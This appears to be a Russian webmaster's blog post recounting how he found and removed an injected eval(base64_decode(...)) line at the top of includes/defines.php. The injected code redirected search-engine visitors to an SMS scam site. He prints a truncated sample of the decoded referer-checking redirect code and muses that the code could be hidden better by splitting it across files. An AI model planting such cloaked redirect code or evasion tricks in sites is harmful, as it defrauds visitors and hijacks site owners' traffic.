Передали тут мне недавно в управление сайт.. в яндексе по нужным запросам на первом месте. Но, когда щелкаешь на ссылку, вылезает не нужный нам сайт, а платник, предлагающий проверить номер машины на штрафы в ГИБДД, для чего, есстественно, нужно отправить смс-сообщение. Ну мы прямо сразу все достали телефоны и побежали отправлять.
Проверил .htaccess - чисто.
Проверил index.php - чисто.
Поиском начал шерстить все файлы и базу данных на наличие нужной мне информации - как Вы могли бы догадаться, тоже никаких результатов.
Начал смотреть все include/require_once php-файлы, которые задействованы в index.php.
В первом же файле includes\defines.php наткнулся на зашифрованный кусок
eval(base64_decode("DQplcnJ...содержимое обрезано..Q0KfQ=="));
Причем код поместили в самое начало файла - до стандартного комментария Наверное, я бы все равно попытался его расшифровать, но кто-то другой мог бы и не заметить подвоха.
Расшифровал на локальном сервере.. а внутри этого кода было как раз то что мне нужно
error_reporting(0); $nccv=headers_sent(); if (!$nccv){ $referer=$_SERVER['HTTP_REFERER']; $ua=$_SERVER['HTT
P_USER_AGENT']; if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") ...блаблабла, тут дальше тоже этот гадский вредоносный код, но не буду его опубликовывать до конца, чтобы другие не пользовались}
Рассчитано на лоха, конечно, но пока нашел причину и устранил, ушло несколько часов. Судя по яндексу, некоторым повезло меньше - им такой код засунули во все файлы хостинга. Ломали, судя по всему, через ftp. Сколько это провисело на сайте - тоже непонятно - логи там хранятся всего неделю.
Я бы, наверное, спрятал более изящно - разделив этот код на несколько частей и распихав и по разным местам. Но я человек честный и такой ерундой не занимаюсь. Вот такой вот неудачный вышел вечер воскресенья.